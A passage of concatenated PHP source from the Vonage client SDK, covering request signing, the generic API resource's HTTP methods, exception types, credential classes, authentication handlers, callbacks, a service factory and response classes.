= []; /** * @param string|int $networkCode * @param string|int $networkName */ public function __construct($networkCode, $networkName) { $this->data['network_code'] = (string)$networkCode; $this->data['network_name'] = (string)$networkName; } public function getCode(): string { return $this->data['network_code']; } public function getName(): string { return $this->data['network_name']; } public function getOutboundSmsPrice() { return $this->data['sms_price'] ?? $this->data['price']; } public function getOutboundVoicePrice() { return $this->data['voice_price'] ?? $this->data['price']; } public function getPrefixPrice() { return $this->data['mt_price']; } public function getCurrency() { return $this->data['currency']; } public function fromArray(array $data): void { // Convert CamelCase to snake_case as that's how we use array access in every other object $storage = []; foreach ($data as $k => $v) { $k = strtolower(ltrim(preg_replace('/[A-Z]([A-Z](?![a-z]))*/', '_$0', $k), '_')); $storage[$k] = $v; } $this->data = $storage; } public function toArray(): array { return $this->data; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client; use InvalidArgumentException; use Vonage\Client\Exception\Exception as ClientException; use function hash_hmac; use function http_build_query; use function is_array; use function is_string; use function ksort; use function md5; use function str_replace; use function strtolower; use function strtoupper; use function time; use function urldecode; class Signature implements \Stringable { /** * Params with Signature (and timestamp if not present) * * @var array */ protected $signed; /** * Create a signature from a set of parameters. * * @throws ClientException */ public function __construct(/** * Params to Sign */ protected array $params, $secret, $signatureMethod) { $this->signed = $params; if (!isset($this->signed['timestamp'])) { $this->signed['timestamp'] = time(); } //remove signature if present unset($this->signed['sig']); //sort params ksort($this->signed); $signed = []; foreach ($this->signed as $key => $value) { $signed[$key] = str_replace(["&", "="], "_", (string) $value); } //create base string $base = '&' . urldecode(http_build_query($signed)); $this->signed['sig'] = $this->sign($signatureMethod, $base, $secret); } /** * @param $signatureMethod * @param $data * @param $secret * * @throws ClientException */ protected function sign($signatureMethod, $data, $secret): string { switch ($signatureMethod) { case 'md5hash': // md5hash needs the secret appended $data .= $secret; return md5($data); case 'md5': case 'sha1': case 'sha256': case 'sha512': return strtoupper(hash_hmac($signatureMethod, $data, $secret)); default: throw new ClientException( 'Unknown signature algorithm: ' . $signatureMethod . '. Expected: md5hash, md5, sha1, sha256, or sha512' ); } } /** * Get the original parameters. */ public function getParams(): array { return $this->params; } /** * Get the signature for the parameters. */ public function getSignature(): string { return $this->signed['sig']; } /** * Get a full set of parameters including the signature and timestamp. */ public function getSignedParams(): array { return $this->signed; } /** * Check that a signature (or set of parameters) is valid. * * First instantiate a Signature object: this will drop any supplied * signature parameter and calculate the correct one. Then call this * method and supply the signature that came in with the request. * * @param array|string $signature The incoming sig parameter to check (or all incoming params) * * @throws InvalidArgumentException */ public function check($signature): bool { if (is_array($signature) && isset($signature['sig'])) { $signature = $signature['sig']; } if (!is_string($signature)) { throw new InvalidArgumentException('signature must be string, or present in array or parameters'); } return strtolower($signature) === strtolower($this->signed['sig']); } /** * Allow easy comparison. */ public function __toString(): string { return $this->getSignature(); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client; use Laminas\Diactoros\Request; use Psr\Log\LogLevel; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Entity\Filter\EmptyFilter; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Vonage\Entity\IterableAPICollection; use Vonage\Entity\Filter\FilterInterface; use Psr\Http\Client\ClientExceptionInterface; use Vonage\Client\Credentials\Handler\HandlerInterface; use Vonage\Logger\LoggerTrait; use function is_null; use function json_decode; use function json_encode; use function http_build_query; class APIResource implements ClientAwareInterface { use ClientAwareTrait; use LoggerTrait; /** * @var HandlerInterface[] */ protected array $authHandler = []; /** * Base URL that we will hit. This can be overridden from the underlying * client or directly on this class. */ protected string $baseUrl = ''; protected string $baseUri = ''; protected string $collectionName = ''; protected ?IterableAPICollection $collectionPrototype = null; /** * Sets flag that says to check for errors even on 200 Success */ protected bool $errorsOn200 = false; /** * Error handler to use when reviewing API responses * * @var callable */ protected $exceptionErrorHandler; protected bool $isHAL = true; protected ?RequestInterface $lastRequest = null; protected ?ResponseInterface $lastResponse = null; /** * Adds authentication to a request * */ public function addAuth(RequestInterface $request): RequestInterface { $credentials = $this->getClient()->getCredentials(); if (is_array($this->getAuthHandler())) { foreach ($this->getAuthHandler() as $handler) { try { $request = $handler($request, $credentials); break; } catch (\RuntimeException $e) { continue; // We are OK if multiple are sent but only one match } throw new \RuntimeException( 'Unable to set credentials, please check configuration and supplied authentication' ); } return $request; } return $this->getAuthHandler()($request, $credentials); } /** * @throws ClientExceptionInterface * @throws Exception\Exception */ public function create(array $body, string $uri = '', array $headers = []): ?array { if (empty($headers)) { $headers = ['content-type' => 'application/json']; } $request = new Request( $this->getBaseUrl() . $this->getBaseUri() . $uri, 'POST', 'php://temp', $headers ); $request->getBody()->write(json_encode($body)); if ($this->getAuthHandler()) { $request = $this->addAuth($request); } $this->lastRequest = $request; $response = $this->getClient()->send($request); $status = (int)$response->getStatusCode(); $this->setLastResponse($response); if (($status < 200 || $status > 299) || $this->errorsOn200()) { $e = $this->getException($response, $request); if ($e) { $e->setEntity($body); throw $e; } } $response->getBody()->rewind(); return json_decode($response->getBody()->getContents(), true); } /** * @throws ClientExceptionInterface * @throws Exception\Exception */ public function delete(string $id, array $headers = []): ?array { $uri = $this->getBaseUrl() . $this->baseUri . '/' . $id; if (empty($headers)) { $headers = [ 'accept' => 'application/json', 'content-type' => 'application/json' ]; } $request = new Request( $uri, 'DELETE', 'php://temp', $headers ); if ($this->getAuthHandler()) { $request = $this->addAuth($request); } $response = $this->getClient()->send($request); $status = (int)$response->getStatusCode(); $this->lastRequest = $request; $this->setLastResponse($response); if ($status < 200 || $status > 299) { $e = $this->getException($response, $request); $e->setEntity($id); throw $e; } $response->getBody()->rewind(); return json_decode($response->getBody()->getContents(), true); } /** * @throws ClientExceptionInterface * @throws Exception\Exception */ public function get($id, array $query = [], array $headers = [], bool $jsonResponse = true, bool $uriOverride = false) { $uri = $this->getBaseUrl() . $this->baseUri . '/' . $id; // This is a necessary hack if you want to fetch a totally different URL but use Vonage Auth if ($uriOverride) { $uri = $id; } if (!empty($query)) { $uri .= '?' . http_build_query($query); } if (empty($headers)) { $headers = [ 'accept' => 'application/json', 'content-type' => 'application/json' ]; } $request = new Request( $uri, 'GET', 'php://temp', $headers ); if ($this->getAuthHandler()) { $request = $this->addAuth($request); } $response = $this->getClient()->send($request); $status = (int)$response->getStatusCode(); $this->lastRequest = $request; $this->setLastResponse($response); if ($status < 200 || $status > 299) { $e = $this->getException($response, $request); $e->setEntity($id); throw $e; } if (!$jsonResponse) { return $response->getBody(); } return json_decode($response->getBody()->getContents(), true); } public function getAuthHandler() { // If we have not set a handler, default to Basic and issue warning. if (!$this->authHandler) { $this->log( LogLevel::WARNING, 'Warning: no authorisation handler set for this Client. Defaulting to Basic which might not be the correct authorisation for this API call' ); return new BasicHandler(); } return $this->authHandler; } public function getBaseUrl(): ?string { if (!$this->baseUrl && $this->client) { $this->baseUrl = $this->client->getApiUrl(); } return $this->baseUrl; } public function getBaseUri(): ?string { return $this->baseUri; } public function getCollectionName(): string { return $this->collectionName; } public function getCollectionPrototype(): IterableAPICollection { if (is_null($this->collectionPrototype)) { $this->collectionPrototype = new IterableAPICollection(); } return clone $this->collectionPrototype; } public function getExceptionErrorHandler(): callable { if (is_null($this->exceptionErrorHandler)) { return new APIExceptionHandler(); } return $this->exceptionErrorHandler; } /** * Sets the error handler to use when reviewing API responses. */ public function setExceptionErrorHandler(callable $handler): self { $this->exceptionErrorHandler = $handler; return $this; } protected function getException(ResponseInterface $response, RequestInterface $request) { return $this->getExceptionErrorHandler()($response, $request); } public function getLastRequest(): ?RequestInterface { $this->lastRequest->getBody()->rewind(); return $this->lastRequest; } public function getLastResponse(): ?ResponseInterface { $this->lastResponse->getBody()->rewind(); return $this->lastResponse; } public function isHAL(): bool { return $this->isHAL; } public function partiallyUpdate(string $id, array $body, array $headers = []): ?array { return $this->updateEntity('PATCH', $id, $body, $headers); } public function search(?FilterInterface $filter = null, string $uri = ''): IterableAPICollection { if (is_null($filter)) { $filter = new EmptyFilter(); } $api = clone $this; if ($uri) { $api->setBaseUri($uri); } $collection = $this->getCollectionPrototype(); $collection ->setApiResource($api) ->setFilter($filter); $collection->setClient($this->client); return $collection; } /** * Set the auth handler(s). This can be a handler that extends off AbstractHandler, * or an array of handlers that will attempt to resolve at runtime * * @param HandlerInterface|array $handler * * @return $this */ public function setAuthHandler($handler): self { if (!is_array($handler)) { $handler = [$handler]; } $this->authHandler = $handler; return $this; } public function setBaseUrl(string $url): self { $this->baseUrl = $url; return $this; } public function setBaseUri(string $uri): self { $this->baseUri = $uri; return $this; } public function setCollectionName(string $name): self { $this->collectionName = $name; return $this; } public function setCollectionPrototype(IterableAPICollection $prototype): self { $this->collectionPrototype = $prototype; return $this; } public function setIsHAL(bool $state): self { $this->isHAL = $state; return $this; } public function setLastResponse(ResponseInterface $response): self { $this->lastResponse = $response; return $this; } public function setLastRequest(RequestInterface $request): self { $this->lastRequest = $request; return $this; } /** * Allows form URL-encoded POST requests. * * @throws ClientExceptionInterface * @throws Exception\Exception */ public function submit(array $formData = [], string $uri = '', array $headers = []): string { if (empty($headers)) { $headers = ['content-type' => 'application/x-www-form-urlencoded']; } $request = new Request( $this->baseUrl . $this->baseUri . $uri, 'POST', 'php://temp', $headers ); if ($this->getAuthHandler()) { $request = $this->addAuth($request); } $request->getBody()->write(http_build_query($formData)); $response = $this->getClient()->send($request); $status = $response->getStatusCode(); $this->lastRequest = $request; $this->setLastResponse($response); if ($status < 200 || $status > 299) { $e = $this->getException($response, $request); $e->setEntity($formData); throw $e; } return $response->getBody()->getContents(); } public function update(string $id, array $body, array $headers = []): ?array { return $this->updateEntity('PUT', $id, $body, $headers); } /** * @throws ClientExceptionInterface * @throws Exception\Exception */ protected function updateEntity(string $method, string $id, array $body, array $headers = []): ?array { if (empty($headers)) { $headers = ['content-type' => 'application/json']; } $request = new Request( $this->getBaseUrl() . $this->baseUri . '/' . $id, $method, 'php://temp', $headers ); if ($this->getAuthHandler()) { $request = $this->addAuth($request); } $request->getBody()->write(json_encode($body)); $response = $this->getClient()->send($request); $this->lastRequest = $request; $this->setLastResponse($response); $status = $response->getStatusCode(); if (($status < 200 || $status > 299) || $this->errorsOn200()) { $e = $this->getException($response, $request); $e->setEntity(['id' => $id, 'body' => $body]); throw $e; } return json_decode($response->getBody()->getContents(), true); } public function errorsOn200(): bool { return $this->errorsOn200; } public function setErrorsOn200(bool $value): self { $this->errorsOn200 = $value; return $this; } } <?php declare(strict_types=1); namespace Vonage\Client\Exception; class Transport extends Exception { } <?php declare(strict_types=1); namespace Vonage\Client\Exception; use Vonage\Entity\HasEntityTrait; use Vonage\Entity\Psr7Trait; class Server extends Exception { use HasEntityTrait; use Psr7Trait; } <?php declare(strict_types=1); namespace Vonage\Client\Exception; use Throwable; class Validation extends Request { public function __construct(string $message = '', int $code = 0, Throwable $previous = null, private array $errors = []) { parent::__construct($message, $code, $previous); } public function getValidationErrors(): array { return $this->errors; } } <?php declare(strict_types=1); namespace Vonage\Client\Exception; class Exception extends \Exception { } <?php declare(strict_types=1); namespace Vonage\Client\Exception; use Vonage\Entity\HasEntityTrait; use Vonage\Entity\Psr7Trait; class Request extends Exception { use HasEntityTrait; use Psr7Trait; protected string $requestId; protected string $networkId; public function setRequestId(string $requestId): void { $this->requestId = $requestId; } public function getRequestId(): string { return $this->requestId; } public function setNetworkId(string $networkId): void { $this->networkId = $networkId; } public function getNetworkId(): string { return $this->networkId; } } <?php declare(strict_types=1); namespace Vonage\Client\Exception; class ThrottleException extends Server { /** * @var int */ protected $timeout; public function setTimeout(int $seconds): void { $this->timeout = $seconds; } public function getTimeout(): int { return $this->timeout; } } <?php declare(strict_types=1); namespace Vonage\Client\Exception; class Conflict extends \Exception { } <?php declare(strict_types=1); namespace Vonage\Client\Exception; class NotFound extends \Exception { } <?php declare(strict_types=1); namespace Vonage\Client\Exception; class Credentials extends \Exception { } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Credentials; interface CredentialsInterface { public function asArray(); } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Credentials; use RuntimeException; use function func_get_args; use function is_array; class Container extends AbstractCredentials { protected array $types = [ Basic::class, SignatureSecret::class, Keypair::class ]; /** * @var array */ protected array $credentials; public function __construct($credentials) { if (!is_array($credentials)) { $credentials = func_get_args(); } foreach ($credentials as $credential) { $this->addCredential($credential); } } protected function addCredential(CredentialsInterface $credential): void { $type = $this->getType($credential); if (isset($this->credentials[$type])) { throw new RuntimeException('can not use more than one of a single credential type'); } $this->credentials[$type] = $credential; } protected function getType(CredentialsInterface $credential): ?string { foreach ($this->types as $type) { if ($credential instanceof $type) { return $type; } } return null; } public function get($type) { if (!isset($this->credentials[$type])) { throw new RuntimeException('credential not set'); } return $this->credentials[$type]; } public function has($type): bool { return isset($this->credentials[$type]); } public function generateJwt($claims) { return $this->credentials[Keypair::class]->generateJwt($claims); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Credentials; /** * Class Basic * Read-only container for api key and secret. * * @property string api_key * @property string api_secret */ class Basic extends AbstractCredentials { /** * Create a credential set with an API key and secret. * * @param $key * @param $secret */ public function __construct($key, $secret) { $this->credentials['api_key'] = (string)$key; $this->credentials['api_secret'] = (string)$secret; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Credentials; abstract class AbstractCredentials implements CredentialsInterface { /** * @var array */ protected array $credentials = []; /** * @noinspection MagicMethodsValidityInspection */ public function __get($name) { return $this->credentials[$name]; } public function asArray(): array { return $this->credentials; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Credentials; class SignatureSecret extends AbstractCredentials { /** * Create a credential set with an API key and signature secret. */ public function __construct($key, $signature_secret, string $method = 'md5hash') { $this->credentials['api_key'] = $key; $this->credentials['signature_secret'] = $signature_secret; $this->credentials['signature_method'] = $method; } } <?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; interface HandlerInterface { /** * Add authentication to a request */ function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface; } <?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\Container; use Vonage\Client\Credentials\CredentialsInterface; abstract class AbstractHandler implements HandlerInterface { abstract function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface; protected function extract(string $class, CredentialsInterface $credentials): CredentialsInterface { if ($credentials instanceof $class) { return $credentials; } if ($credentials instanceof Container) { $creds = $credentials->get($class); if (!is_null($creds)) { return $creds; } } throw new \RuntimeException('Requested auth type not found'); } } <?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; use Vonage\Client\Credentials\SignatureSecret; use Vonage\Client\Signature; class SignatureBodyHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(SignatureSecret::class, $credentials); $credentialsArray = $credentials->asArray(); $body = $request->getBody(); $body->rewind(); $content = $body->getContents(); $params = json_decode($content, true); $params['api_key'] = $credentialsArray['api_key']; $signature = new Signature( $params, $credentialsArray['signature_secret'], $credentialsArray['signature_method'] ); $body->rewind(); $body->write(json_encode($signature->getSignedParams())); return $request; } } <?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\Basic; use Vonage\Client\Credentials\CredentialsInterface; class BasicHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(Basic::class, $credentials); $c = $credentials->asArray(); $cx = base64_encode($c['api_key'] . ':' . $c['api_secret']); $request = $request->withHeader('Authorization', 'Basic ' . $cx); return $request; } }<?php namespace Vonage\Client\Credentials\Handler; use Vonage\Client\Credentials\Basic; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; class TokenBodyFormHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(Basic::class, $credentials); $body = $request->getBody(); $body->rewind(); $content = $body->getContents(); $params = []; parse_str($content, $params); $params = array_merge($params, $credentials->asArray()); $body->rewind(); $body->write(http_build_query($params, '', '&')); return $request; } }<?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; use Vonage\Client\Credentials\SignatureSecret; use Vonage\Client\Signature; class SignatureBodyFormHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(SignatureSecret::class, $credentials); $credentialsArray = $credentials->asArray(); $body = $request->getBody(); $body->rewind(); $content = $body->getContents(); $params = []; parse_str($content, $params); $params['api_key'] = $credentialsArray['api_key']; $signature = new Signature( $params, $credentialsArray['signature_secret'], $credentialsArray['signature_method'] ); $params = $signature->getSignedParams(); $body->rewind(); $body->write(http_build_query($params, '', '&')); return $request; } } <?php namespace Vonage\Client\Credentials\Handler; use Vonage\Client\Credentials\Basic; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; class TokenQueryHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(Basic::class, $credentials); $query = []; parse_str($request->getUri()->getQuery(), $query); $query = array_merge($query, $credentials->asArray()); $request = $request->withUri($request->getUri()->withQuery(http_build_query($query))); return $request; } }<?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; use Vonage\Client\Credentials\SignatureSecret; use Vonage\Client\Signature; class SignatureQueryHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(SignatureSecret::class, $credentials); $credentialsArray = $credentials->asArray(); $query = []; parse_str($request->getUri()->getQuery(), $query); $query['api_key'] = $credentialsArray['api_key']; $signature = new Signature( $query, $credentialsArray['signature_secret'], $credentialsArray['signature_method'] ); return $request->withUri( $request->getUri()->withQuery(http_build_query($signature->getSignedParams())) ); } } <?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; use Vonage\Client\Credentials\Keypair; class KeypairHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { /** @var Keypair $credentials */ $credentials = $this->extract(Keypair::class, $credentials); $token = $credentials->generateJwt(); return $request->withHeader('Authorization', 'Bearer ' . $token->toString()); } }<?php namespace Vonage\Client\Credentials\Handler; use Vonage\Client\Credentials\Basic; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; class TokenBodyHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(Basic::class, $credentials); // We have to do some clunky body pointer rewinding here $existingBody = $request->getBody(); $existingBody->rewind(); $existingBodyContent = $existingBody->getContents(); $existingBody->rewind(); $existingBodyArray = json_decode($existingBodyContent, true); // The request body will now be the existing body plus the basic creds $mergedBodyArray = array_merge($existingBodyArray, $credentials->asArray()); return $request->withBody(\GuzzleHttp\Psr7\Utils::streamFor(json_encode($mergedBodyArray))); } } <?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\Basic; use Vonage\Client\Credentials\CredentialsInterface; class BasicQueryHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(Basic::class, $credentials); parse_str($request->getUri()->getQuery(), $query); $query = array_merge($query, $credentials->asArray()); return $request->withUri($request->getUri()->withQuery(http_build_query($query))); } }<?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Credentials; use Lcobucci\JWT\Configuration; use Lcobucci\JWT\Signer\Key; use Lcobucci\JWT\Signer\Key\InMemory; use Lcobucci\JWT\Signer\Rsa\Sha256; use Lcobucci\JWT\Token; use Vonage\Application\Application; use function base64_encode; use function mt_rand; use function time; /** * @property mixed application */ class Keypair extends AbstractCredentials { /** * @var Key */ protected $key; public function __construct($privateKey, $application = null) { $this->credentials['key'] = $privateKey; if ($application) { if ($application instanceof Application) { $application = $application->getId(); } $this->credentials['application'] = $application; } $this->key = InMemory::plainText($privateKey); } /** * @return Key */ public function getKey(): Key { return $this->key; } public function generateJwt(array $claims = []): Token { $config = Configuration::forSymmetricSigner(new Sha256(), $this->key); $exp = time() + 60; $iat = time(); $jti = base64_encode((string)mt_rand()); if (isset($claims['exp'])) { $exp = $claims['exp']; unset($claims['exp']); } if (isset($claims['iat'])) { $iat = $claims['iat']; unset($claims['iat']); } if (isset($claims['jti'])) { $jti = $claims['jti']; unset($claims['jti']); } $builder = $config->builder(); $builder->issuedAt((new \DateTimeImmutable())->setTimestamp($iat)) ->expiresAt((new \DateTimeImmutable())->setTimestamp($exp)) ->identifiedBy($jti); if (isset($claims['nbf'])) { $builder->canOnlyBeUsedAfter((new \DateTimeImmutable())->setTimestamp($claims['nbf'])); unset($claims['nbf']); } if (isset($this->credentials['application'])) { $builder->withClaim('application_id', $this->credentials['application']); } if (isset($claims['sub'])) { $builder->relatedTo($claims['sub']); unset($claims['sub']); } if (!empty($claims)) { foreach ($claims as $claim => $value) { $builder->withClaim($claim, $value); } } return $builder->getToken($config->signer(), $config->signingKey()); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client; use RuntimeException; use Vonage\Client; trait ClientAwareTrait { /** * @var Client */ protected $client; public function setClient(Client $client): self { $this->client = $client; return $this; } public function getClient(): ?Client { if (isset($this->client)) { return $this->client; } throw new RuntimeException('Vonage\Client not set'); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Callback; use InvalidArgumentException; use RuntimeException; use function array_diff; use function array_keys; use function array_merge; use function implode; use function strtolower; class Callback implements CallbackInterface { public const ENV_ALL = 'all'; public const ENV_POST = 'post'; public const ENV_GET = 'get'; /** * @var array */ protected $expected = []; /** * @var array */ protected $data; public function __construct(array $data) { $keys = array_keys($data); $missing = array_diff($this->expected, $keys); if ($missing) { throw new RuntimeException('missing expected callback keys: ' . implode(', ', $missing)); } $this->data = $data; } public function getData(): array { return $this->data; } /** * @return Callback|callable */ public static function fromEnv(string $source = self::ENV_ALL) { $data = match (strtolower($source)) { 'post' => $_POST, 'get' => $_GET, 'all' => array_merge($_GET, $_POST), default => throw new InvalidArgumentException('invalid source: ' . $source), }; return new static($data); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Callback; interface CallbackInterface { public function getData(); } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client; use Vonage\Client; interface ClientAwareInterface { public function setClient(Client $client); } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client; interface APIClient { public function getAPIResource(): APIResource; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Factory; /** * Interface FactoryInterface * * Factor create API clients (clients specific to single API, that leverages Vonage\Client for HTTP communication and * common functionality). */ interface FactoryInterface { public function hasApi(string $api): bool; public function getApi(string $api); public function make(string $key); } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Factory; use Psr\Container\ContainerInterface; use Psr\Log\LoggerInterface; use RuntimeException; use Vonage\Client; use Vonage\Logger\LoggerAwareInterface; use function is_callable; use function sprintf; class MapFactory implements FactoryInterface, ContainerInterface { /** * Map of instances. * * @var array */ protected $cache = []; /** * @param mixed[] $map */ public function __construct( /** * Map of api namespaces to classes. */ protected $map, /** * Vonage Client */ protected Client $client ) { } /** * @param string $id * * @noinspection PhpMissingParamTypeInspection */ public function has($id): bool { return isset($this->map[$id]); } /** * @deprecated Use has() instead */ public function hasApi(string $api): bool { return $this->has($api); } /** * @param string $id * * @noinspection PhpMissingParamTypeInspection */ public function get($id) { if (isset($this->cache[$id])) { return $this->cache[$id]; } $instance = $this->make($id); $this->cache[$id] = $instance; return $instance; } public function getClient(): Client { return $this->client; } /** * @deprecated Use get() instead */ public function getApi(string $api) { return $this->get($api); } public function make($key) { if (!$this->has($key)) { throw new RuntimeException( sprintf( 'no map defined for `%s`', $key ) ); } if (is_callable($this->map[$key])) { $instance = $this->map[$key]($this); } else { $class = $this->map[$key]; $instance = new $class(); if (is_callable($instance)) { $instance = $instance($this); } } if ($instance instanceof Client\ClientAwareInterface) { $instance->setClient($this->client); } if ($instance instanceof LoggerAwareInterface && $this->has(LoggerInterface::class)) { $instance->setLogger($this->get(LoggerInterface::class)); } return $instance; } public function set($key, $value): void { $this->map[$key] = $value; if (!is_callable($value)) { $this->cache[$key] = $value; } } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Response; class Error extends Response { public function __construct(array $data) { //normalize the data if (isset($data['error_text'])) { $data['error-text'] = $data['error_text']; } $this->expected = ['status', 'error-text']; parent::__construct($data); } public function isError(): bool { return true; } public function isSuccess(): bool { return false; } public function getCode(): int { return (int)$this->data['status']; } public function getMessage(): string { return (string)$this->data['error-text']; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Response; abstract class AbstractResponse implements ResponseInterface { /** * @var array */ protected $data; public function getData(): array { return $this->data; } public function isSuccess(): bool { return isset($this->data['status']) && (int)$this->data['status'] === 0; } public function isError(): bool { return !$this->isSuccess(); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Response; interface ResponseInterface { public function getData(): array; public function isError(): bool; public function isSuccess(): bool; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Response; use RuntimeException; use function array_diff; use function array_keys; use function implode; class Response extends AbstractResponse { /** * Allow specific responses to easily define required parameters. * * @var array */ protected $expected = []; public function __construct(array $data) { $keys = array_keys($data); $missing = array_diff($this->expected, $keys); if ($missing) { throw new RuntimeException('missing expected response keys: ' . implode(', ', $missing)); } $this->data = $data; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Request; use function array_filter; abstract 